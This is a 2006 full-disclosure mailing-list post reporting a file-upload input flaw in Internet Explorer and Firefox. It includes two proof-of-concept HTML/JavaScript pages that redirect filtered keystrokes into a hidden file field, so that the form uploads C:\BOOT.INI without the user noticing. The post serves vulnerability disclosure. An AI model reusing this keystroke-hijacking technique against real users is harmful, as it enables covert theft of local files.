full-disclosure - file upload widgets in IE and Firefox have issues

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Message-ID: <44846714.3080307@imperfectnetworks.com>
Date: Mon Jun  5 18:17:23 2006
From: cmcauley at imperfectnetworks.com (Charles McAuley)
Subject: file upload widgets in IE and Firefox have issues

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Hey all,

aside from the new file upload vulnerability in Firefox 1.5.0.3 and
below, I discovered two others a year ago (one in IE, the other in
Firefox) in the same component.  I'm a little obsessed with the file
input widget.


Since then i've managed to lose my email, but the response I got back
from Microsoft was basically

"Thank you, we'll put it in IE 7.
p.s. you might want to check in with firefox, i think someone reported
this a few years ago and they were vulnerable too.
kthxbye"


The problem is that in both IE and Firefox you can filter the keystrokes
entered in a form and 'bounce' the input over to the file input box, and
then bounce back to previous text entry, making it appear as if nothing
has happened.  Yes this is minor, but a conceivable avenue of attack.

Anyways, my bug (No. 290478) to firefox was marked a dupe of a bug that
dated back to 2000 (No. 56236).  This stuff is publicly
documented/available, but you have to know what your looking for.
Hidden in plain site you could say.

anyways, onto the code:

FIREFOX:
  Instructions:
     Copy paste this into an editor.  Load in firefox. click in text box
on right pane.  type the letter 'c', notice it appear in file input box.
 Press the letter 'a', notice it not appear.  press ':', appearrs.
Will filter out the string "c:\boot.ini".

<HTML>
<HEAD>
<style type="text/css">
.first {
}
.second {
        color: white;
        background-color: white;
        opacity: 0;
}
</style>
<SCRIPT>
//document.onKeyDown = doKeyPress;

//document.onKeyUp = doKeyUp;
var saved;
var e ;
var mystring = "C:\\BOOT.INI";
//var i=mystring.length-1;
var i=0;
function doKeyPress(chucky)
    {
    saved = chucky.which;
    //alert('pressed ' + String.fromCharCode(saved) + '(' + saved + ')');
    if (mystring[i] != String.fromCharCode(saved).toUpperCase() ||
        i > mystring.length-1) {
       return false;
    }
    i++;
    return true;
  };
function doKeyUp () {

document.forms[0].txt.value += String.fromCharCode(saved);
document.forms[0].txt.focus();

}

</SCRIPT>
</HEAD>
<BODY >
<FORM METHOD=POST action=file.php>
<INPUT id='asdf' name="fileupload" defaultValue='asdfasdf' TYPE=FILE
OnKeyUp="doKeyUp();"
OnKeyPress="return doKeyPress(event);">
<input name=txt id='txt' type=text value=''
OnKeyDown="document.forms[0].fileupload.focus();"
onClick="">
<input type=button value="invisible"
onclick="document.forms[0].fileupload.className='second';">
<input type=button value="visible"
onclick="document.forms[0].fileupload.className='first';">

</FORM>
</BODY>
</HTML>





INTERNET EXPLORER 6 + 7:
   Description: Same thing as above.
   Instructions: turn on CAPSLOCK (lame). click in text box.  press 'I'.
 press 'N', press 'I' press '.'  etc....  will filter out C:\BOOT.INI.

CODE:
<HTML>
<HEAD>
<SCRIPT>
//document.onKeyDown = doKeyPress;

//document.onKeyUp = doKeyUp;
var saved;
var e ;
var mystring = "C:\\BOOT.INI";
var i=mystring.length-1;

function doKeyPress () {
e = window.event;
saved = e.keyCode;
window.status = "e.keyCode == " + e.keyCode + "character is " +
mystring.charCodeAt(i);
if(e.keyCode != mystring.charCodeAt(i))
    {
    //e.keyCode =0;
    e.returnValue=false;
    e.cancelBubble=true;
}
else {
    i--;
}
document.forms[0].fileupload.focus();

}

function doKeyUp () {

document.forms[0].txt.value += String.fromCharCode(saved);
document.forms[0].txt.focus();

}

function switchtype() {
  /*  var e = document.getElementById('txt');
       document.forms[0].txt.setAttribute("type", "file");
       e.setAttribute("value", "asfasfsd");
  */
}

function fux0rKeys() {
   }
</SCRIPT>
</HEAD>
<BODY onload="document.forms[0].txt.value='sometext';
document.forms[0].fileupload.value='asdfsdfadsf';">
<FORM METHOD=POST action=file.php>
<INPUT id='asdf' name="fileupload" defaultValue='asdfasdf' TYPE=FILE
OnKeyUp="doKeyUp();"
OnKeyPress="doKeyPress();">
<input name=txt id='txt' type=text value='asdfsdafasdf'
OnKeyDown="document.forms[0].fileupload.focus();"
asdfnKeyDown="document.forms[0].txt.fireEvent('onKeyPress');"
onClick=""> visible
</FORM>
</BODY>
</HTML>


feel free to shoot any questions at me/the group about it.  I wrote this
stuff over a year ago, and my javascript's never been that good in the
first place.

SOLUTION:
Please please please please please IE and Firefox.  Stop treating the
file input box the way you do.  There can be more imaginative/attractive
ways to displaying a file chooser that have less exposure to attack.

- -chuck
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